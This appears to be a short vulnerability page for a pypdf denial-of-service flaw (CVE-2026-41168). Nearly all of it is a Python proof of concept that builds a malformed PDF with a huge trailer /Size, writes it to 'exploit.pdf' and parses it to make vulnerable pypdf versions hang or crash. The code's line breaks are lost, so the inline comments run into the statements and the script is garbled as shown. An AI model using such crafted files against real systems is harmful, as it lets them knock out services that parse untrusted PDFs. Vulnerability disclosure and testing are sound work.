CVE-2026-41168 pypdf拒绝服务漏洞

import io # Conceptual PoC to create a malformed PDF with a large /Size in XRef stream # This requires raw binary manipulation to bypass pypdf's writer validation # or simply crafting bytes. malformed_pdf = b"""%PDF-1.7 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >> endobj 4 0 obj << /Length 44 >> stream BT /F1 12 Tf 100 700 Td (Hello) Tj ET endstream endobj xref 0 5 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000204 00000 n trailer << /Size 9999999999 /Root 1 0 R >> startxref 286 %%EOF """ # To test, save 'malformed_pdf' to a file and open with pypdf < 6.10.1 # It will hang or crash due to the huge /Size in the trailer or XRef stream. with open('exploit.pdf', 'wb') as f: f.write(malformed_pdf) print("Malformed PDF generated. Attempting to parse with vulnerable pypdf...") try: # Assume pypdf is installed and vulnerable from pypdf import PdfReader reader = PdfReader('exploit.pdf') print("Number of pages:", len(reader.pages)) except Exception as e: print(f"Error (expected due to DoS condition): {e}")